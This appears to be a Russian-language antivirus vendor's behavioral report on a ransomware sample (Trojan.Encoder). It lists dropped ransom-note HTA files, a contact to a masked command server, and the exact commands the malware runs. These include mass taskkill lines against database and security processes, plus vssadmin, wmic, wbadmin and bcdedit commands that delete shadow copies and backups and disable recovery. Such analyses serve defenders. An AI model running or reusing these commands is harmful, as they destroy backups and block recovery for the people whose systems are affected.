Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\000814251_video_01.avi
- <Имя диска съемного носителя>:\split.avi
- <Имя диска съемного носителя>:\middaugh_keynote.pptx
- <Имя диска съемного носителя>:\waterresourcesag.pptx
- <Имя диска съемного носителя>:\hypothyroidism_slides.pptx
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Компонент восстановления системы (SR)
удаляет теневые копии разделов.
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /T /IM wxServer*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Intuit.QuickBooks.FCS*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBIDPService*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sqlbrowser*
- '<SYSTEM32>\taskkill.exe' /F /T /IM RTVscan*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Culserver*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sqladhlp*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sqlagent*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Sqlservr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM SavRoam*
- '<SYSTEM32>\taskkill.exe' /F /T /IM ccSetMgr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM ccEvtMgr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM wrapper*
- '<SYSTEM32>\taskkill.exe' /F /T /IM ONENOTEM*
- '<SYSTEM32>\taskkill.exe' /F /T /IM fbserver*
- '<SYSTEM32>\taskkill.exe' /F /T /IM fbguard*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Simply.SystemTrayIcon*
- '<SYSTEM32>\taskkill.exe' /F /T /IM SimplyConnectionManager*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBCFMonitorService*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sqlwriter*
- '<SYSTEM32>\taskkill.exe' /F /T /IM msmdsrv*
- '<SYSTEM32>\taskkill.exe' /F /T /IM tomcat6*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQLFDLauncher$SHAREPOINT*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQLFDLauncher$SBSMONITORING*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQL$SHAREPOINT*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQL$SBSMONITORING*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQL$MICROSOFT##SSEE*
- '<SYSTEM32>\taskkill.exe' /F /T /IM msftesql-Exchange*
- '<SYSTEM32>\taskkill.exe' /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQLServerADHelper100*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MySQL57*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
- '<SYSTEM32>\taskkill.exe' /F /T /IM FishbowlMySQL*
- '<SYSTEM32>\taskkill.exe' /F /T /IM SQLAgent$VEEAMSQL2012*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQL$VEEAMSQL2012*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MSSQL$MICROSOFT##WID*
- '<SYSTEM32>\taskkill.exe' /F /T /IM dbeng8*
- '<SYSTEM32>\taskkill.exe' /F /T /IM dbsrv12*
- '<SYSTEM32>\taskkill.exe' /F /T /IM vmware-converter*
- '<SYSTEM32>\taskkill.exe' /F /T /IM vmware-usbarbitator64*
- '<SYSTEM32>\taskkill.exe' /F /T /IM SQLAgent$SBSMONITORING*
- '<SYSTEM32>\taskkill.exe' /F /T /IM BrCcUxSys*
- '<SYSTEM32>\taskkill.exe' /F /T /IM BrCtrlCntr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM AdobeCollabSync*
- '<SYSTEM32>\taskkill.exe' /F /T /IM axlbridge*
- '<SYSTEM32>\taskkill.exe' /F /T /IM qbupdate*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBDBMgr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBW32*
- '<SYSTEM32>\taskkill.exe' /F /T /IM winword*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Defwatch*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Culture*
- '<SYSTEM32>\taskkill.exe' /F /T /IM supervise*
- '<SYSTEM32>\taskkill.exe' /F /T /IM RAgui*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sqlmangr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM wxServerView*
- '<SYSTEM32>\taskkill.exe' /F /T /IM mysql*
- '<SYSTEM32>\taskkill.exe' /F /T /IM mssql*
- '<SYSTEM32>\taskkill.exe' /F /T /IM msaccess*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sql*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBVSS*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBFCService*
- '<SYSTEM32>\taskkill.exe' /F /T /IM httpd*
- '<SYSTEM32>\taskkill.exe' /F /T /IM fdlauncher*
- '<SYSTEM32>\taskkill.exe' /F /T /IM MsDtSrvr*
- '<SYSTEM32>\taskkill.exe' /F /T /IM java*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sync-worker*
- '<SYSTEM32>\taskkill.exe' /F /T /IM sync-taskbar*
- '<SYSTEM32>\taskkill.exe' /F /T /IM AdobeIPCBroker*
- '<SYSTEM32>\taskkill.exe' /F /T /IM node*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Adobe CEF Helper*
- '<SYSTEM32>\taskkill.exe' /F /T /IM CoreSync*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Adobe Desktop Service*
- '<SYSTEM32>\taskkill.exe' /F /T /IM Creative Cloud*
- '<SYSTEM32>\taskkill.exe' /F /T /IM AutodeskDesktopApp*
- '<SYSTEM32>\taskkill.exe' /F /T /IM acwebbrowser*
- '<SYSTEM32>\taskkill.exe' /F /T /IM mysqld*
- '<SYSTEM32>\taskkill.exe' /F /T /IM QBDBMgrN*
- '<SYSTEM32>\taskkill.exe' /F /T /IM ZhuDongFangYu*
- '<SYSTEM32>\taskkill.exe' /F /T /IM GDscan*
- '<SYSTEM32>\taskkill.exe' /F /T /IM fdhost*
- '<SYSTEM32>\taskkill.exe' /F /T /IM wdswfsafe*
- '<SYSTEM32>\taskkill.exe' /F /T /IM 360doctor*
- '<SYSTEM32>\taskkill.exe' /F /T /IM 360se*
- '<SYSTEM32>\taskkill.exe' /F /T /IM InputPersonalization*
- '<SYSTEM32>\taskkill.exe' /F /T /IM SQLAgent$SHAREPOINT*
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\vssvc.exe
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\logs\windowsbackup\wbadmin.0.etl
- C:\far2\documentation\dtizfa-decrypt.hta
- %HOMEPATH%\voip\dtizfa-decrypt.hta
- %HOMEPATH%\favorites\msn websites\dtizfa-decrypt.hta
- %HOMEPATH%\videos\dtizfa-decrypt.hta
- %HOMEPATH%\saved games\dtizfa-decrypt.hta
- %HOMEPATH%\pictures\dtizfa-decrypt.hta
- C:\far2\addons\dtizfa-decrypt.hta
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dtizfa-decrypt.hta
- %HOMEPATH%\favorites\links for united states\dtizfa-decrypt.hta
- %HOMEPATH%\favorites\links\dtizfa-decrypt.hta
- C:\users\public\libraries\dtizfa-decrypt.hta
- C:\far2\addons\colors\default_highlighting\dtizfa-decrypt.hta
- C:\far2\addons\colors\custom_highlighting\dtizfa-decrypt.hta
- C:\users\public\videos\sample videos\dtizfa-decrypt.hta
- C:\far2\addons\colors\dtizfa-decrypt.hta
- %HOMEPATH%\searches\dtizfa-decrypt.hta
- %HOMEPATH%\favorites\microsoft websites\dtizfa-decrypt.hta
- C:\far2\pluginsdk\headers.pas\dtizfa-decrypt.hta
- C:\far2\addons\setup\dtizfa-decrypt.hta
- C:\far2\fexcept\dtizfa-decrypt.hta
- C:\far2\pluginsdk\dtizfa-decrypt.hta
- C:\far2\plugins\dtizfa-decrypt.hta
- C:\far2\documentation\rus\dtizfa-decrypt.hta
- C:\far2\dtizfa-decrypt.hta
- C:\totalcmd\dtizfa-decrypt.hta
- C:\far2\documentation\eng\dtizfa-decrypt.hta
- C:\users\public\music\sample music\dtizfa-decrypt.hta
- C:\far2\addons\xlat\russian\dtizfa-decrypt.hta
- C:\far2\encyclopedia\tap\dtizfa-decrypt.hta
- C:\far2\addons\shell\dtizfa-decrypt.hta
- C:\users\public\pictures\sample pictures\dtizfa-decrypt.hta
- %HOMEPATH%\favorites\windows live\dtizfa-decrypt.hta
- C:\far2\addons\macros\dtizfa-decrypt.hta
- C:\far2\encyclopedia\dtizfa-decrypt.hta
- C:\users\public\recorded tv\sample media\dtizfa-decrypt.hta
- C:\far2\addons\xlat\dtizfa-decrypt.hta
- %HOMEPATH%\contacts\dtizfa-decrypt.hta
- C:\users\default\appdata\dtizfa-decrypt.hta
- C:\users\public\desktop\dtizfa-decrypt.hta
- C:\users\public\documents\dtizfa-decrypt.hta
- C:\users\public\dtizfa-decrypt.hta
- %HOMEPATH%\favorites\dtizfa-decrypt.hta
- C:\users\default\documents\dtizfa-decrypt.hta
- C:\users\default\dtizfa-decrypt.hta
- %HOMEPATH%\documents\dtizfa-decrypt.hta
- %HOMEPATH%\appdata\dtizfa-decrypt.hta
- C:\users\dtizfa-decrypt.hta
- C:\dtizfa-decrypt.hta
- <Текущая директория>\dtizfa-decrypt.hta
- %TEMP%\boot.sys:tpupnbvzicwro
- %TEMP%\boot.sys:ivrhwmenumbuocvak
- %TEMP%\boot.sys:xbcqjlijd
- %TEMP%\boot.sys:iykxevszimranzpu
- C:\recovery\dtizfa-decrypt.hta
- C:\users\default\desktop\dtizfa-decrypt.hta
- D:\dtizfa-decrypt.hta
- C:\users\default\downloads\dtizfa-decrypt.hta
- C:\users\public\videos\dtizfa-decrypt.hta
- C:\users\public\recorded tv\dtizfa-decrypt.hta
- C:\users\default\videos\dtizfa-decrypt.hta
- C:\users\default\music\dtizfa-decrypt.hta
- C:\users\default\links\dtizfa-decrypt.hta
- C:\users\default\pictures\dtizfa-decrypt.hta
- C:\users\default\favorites\dtizfa-decrypt.hta
- %HOMEPATH%\downloads\dtizfa-decrypt.hta
- C:\users\default\saved games\dtizfa-decrypt.hta
- %HOMEPATH%\links\dtizfa-decrypt.hta
- %HOMEPATH%\music\dtizfa-decrypt.hta
- C:\users\public\pictures\dtizfa-decrypt.hta
- C:\users\public\music\dtizfa-decrypt.hta
- C:\users\public\favorites\dtizfa-decrypt.hta
- C:\users\public\downloads\dtizfa-decrypt.hta
- %HOMEPATH%\dtizfa-decrypt.hta
- C:\far2\pluginsdk\headers.c\dtizfa-decrypt.hta
Перемещает следующие файлы
- %WINDIR%\logs\windowsbackup\wbadmin.0.etl в %WINDIR%\logs\windowsbackup\wbadmin.1.etl
- %WINDIR%\logs\windowsbackup\wbadmin.1.etl в %WINDIR%\logs\windowsbackup\wbadmin.2.etl
Подменяет следующие файлы
- %WINDIR%\logs\windowsbackup\wbadmin.0.etl
- %WINDIR%\logs\windowsbackup\wbadmin.1.etl
Изменяет расширения файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
Подключается к
- '21#.#.117.26':80
- '<LOCALNET>.54.1':135
TCP
Запросы HTTP POST
- http://21#.#.117.26/gateinfo
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C wmic.exe SHADOWCOPY DELETE /nointeractive
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM RTVscan*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Culserver*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sqladhlp*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sqlagent*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Sqlservr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM SavRoam*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM ccSetMgr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM ccEvtMgr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM wrapper*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sqlbrowser*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM ONENOTEM*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM fbguard*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Simply.SystemTrayIcon*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM SimplyConnectionManager*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM BrCcUxSys*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM BrCtrlCntr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM AdobeCollabSync*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM InputPersonalization*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sync-worker*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sync-taskbar*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM fbserver*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBIDPService*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Intuit.QuickBooks.FCS*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBCFMonitorService*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQL$SHAREPOINT*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQL$SBSMONITORING*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM msftesql-Exchange*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQLServerADHelper100*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MySQL57*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM FishbowlMySQL*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQL$VEEAMSQL2012*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM dbeng8*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM dbsrv12*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM vmware-converter*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM vmware-usbarbitator64*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM tomcat6*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM msmdsrv*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sqlwriter*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM AdobeIPCBroker*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM SQLAgent$SBSMONITORING*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM node*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM CoreSync*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sqlmangr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM wxServerView*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM mysql*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM mssql*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM msaccess*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM sql*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBVSS*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBFCService*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM wxServer*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM RAgui*
- '<SYSTEM32>\cmd.exe' /C <SYSTEM32>\vssvc.exe
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /C bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /C bcdedit.exe /set {default} recoveryenabled No
- '<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTATEBACKUP -deleteOldest
- '<SYSTEM32>\cmd.exe' /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
- '<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTATEBACKUP
- '<SYSTEM32>\cmd.exe' /C wbadmin DELETE SYSTEMSTATEBACKUP
- '<SYSTEM32>\svchost.exe' -k swprv
- '<SYSTEM32>\vssvc.exe'
- '<SYSTEM32>\cmd.exe' /C vssadmin.exe Delete Shadows /All /Quiet
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM supervise*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Culture*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Defwatch*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Adobe Desktop Service*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Creative Cloud*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM acwebbrowser*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM AutodeskDesktopApp*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM mysqld*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBDBMgrN*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM ZhuDongFangYu*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM GDscan*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM fdhost*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM wdswfsafe*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM 360doctor*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM 360se*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM java*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM MsDtSrvr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM fdlauncher*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM httpd*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM axlbridge*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM qbupdate*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBDBMgr*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM QBW32*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM winword*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM Adobe CEF Helper*
- '<SYSTEM32>\cmd.exe' /C taskkill /F /T /IM SQLAgent$SHAREPOINT*
